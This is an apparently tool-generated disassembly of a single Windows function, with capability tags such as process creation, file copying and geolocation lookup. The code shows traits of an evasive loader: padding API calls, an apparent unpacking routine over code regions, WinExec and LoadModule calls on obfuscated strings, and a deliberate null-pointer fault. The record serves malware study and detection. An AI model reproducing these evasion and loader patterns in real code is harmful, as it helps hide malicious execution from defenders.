Function at 0x10009e70
Capabilities:
Copy file
Create pipe
Create process on windows
Get common file path
Get disk information
Get disk size
Get geographical location
Identify system language via api
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10075b1d
push eax
mov eax, dword [ebp + 0xc]
mov dword fs:[0], esp
sub esp, 0x4c
push esi
test eax, eax
jne 0x1000a01d
push eax
push eax
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResultEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
call dword [sym.imp.KERNEL32.dll_IsThreadAFiber]
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RegisterApplicationRecoveryCallback]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryIdleProcessorCycleTime]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov esi, dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0
push 0
call esi
push 0
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
call dword [sym.imp.KERNEL32.dll_SetTimeZoneInformation]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemTime]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSizeEx]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessorNumberEx]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetApplicationRecoveryCallback]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToDosDateTime]
push 0
push str.A2ja8z52zIFKbgG
push 0
push str.3wr49RIlWA9xDGVwBet2no
push 0
call dword [sym.imp.KERNEL32.dll_VerifyScripts]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommMask]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 0xc
cmp eax, 1
jne 0x1000a007
cmp dword [0x100fa3e4], 0x2c909a7f
jne 0x1000a174
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push 0
push dword [ebp + 0xc]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesTransactedW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForThreadpoolWorkCallbacks]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileBandwidthReservation]
push 0
push str.3eUSZ1atgOOwZU8tSQ5jZr2fo
call dword [sym.imp.KERNEL32.dll_RegisterApplicationRestart]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerExW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
xor eax, eax
xor ecx, ecx
xchg dword [ecx], eax
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolIo]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
push 0
push str.pV6EPEL6gp6nhEAY
call dword [sym.imp.KERNEL32.dll_LoadModule]
push 0
push str.X96wtq4K522h35LlPdjeEO
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLanguageGroup]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
push 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommMask]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
mov eax, 0x10009000
add eax, 0x1fb
push 0x1fb
push eax
call fcn.1000ec50
mov eax, 0x10005d10
add eax, 0x265
push 0x265
push eax
call fcn.1000ec50
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
mov esi, 0x10007200
movq qword [ebp - 0x58], xmm0
push 8
add esi, 0x20e
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
call fcn.100553e0
lea ecx, [ebp - 0x48]
xorps xmm0, xmm0
add esp, 0x14
mov dword [eax + 4], 0
mov dword [ebp - 0x48], eax
mov dword [eax], ecx
xor eax, eax
movlpd qword [ebp - 0x26], xmm0
movlpd qword [ebp - 0x1e], xmm0
mov word [ebp - 0x2c], 0
mov word [ebp - 0x29], ax
mov byte [ebp - 0x27], al
mov word [ebp - 0x26], ax
mov byte [ebp - 0x24], al
mov word [ebp - 0x23], ax
mov byte [ebp - 0x21], al
mov word [ebp - 0x20], ax
mov byte [ebp - 0x1e], al
mov word [ebp - 0x1d], ax
mov byte [ebp - 0x1b], al
mov word [ebp - 0x1a], ax
mov byte [ebp - 0x18], al
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x30], eax
push 0x20e
push esi
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], eax
call fcn.10010b60
mov esi, dword [ebp - 0x54]
lea ecx, [ebp - 0x48]
add esp, 8
call fcn.10013db0
mov eax, dword [ebp - 0x48]
push 8
push eax
mov dword [ebp - 0x48], 0
call fcn.1005572a
add esp, 8
cmp dword [0x100fa3e4], 0x73c67049
jne 0x1000a391
push 0
call dword [sym.imp.KERNEL32.dll_GetUserGeoID]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ClosePrivateNamespace]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InflateRect]
push 0
push 0
push 0
push str.ZjdZTebfll4tbS6s592uJXldCKeu8
call dword [sym.imp.KERNEL32.dll_FindFirstFileNameW]
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
push 0
call dword [sym.imp.KERNEL32.dll_AttachConsole]
call dword [sym.imp.KERNEL32.dll_GetSystemDEPPolicy]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DefRawInputProc]
push 0
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumLanguageGroupLocalesW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeClientComputerNameW]
call dword [sym.imp.USER32.dll_SetProcessDPIAware]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReclaimVirtualMemory]
push 0
call dword [sym.imp.USER32.dll_HideCaret]
push 0
call dword [sym.imp.USER32.dll_IsHungAppWindow]
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessDEPPolicy]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push 0
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolWait]
push 0
call dword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTimeEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DdeGetData]
mov ecx, dword [ebp - 0xc]
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 0xc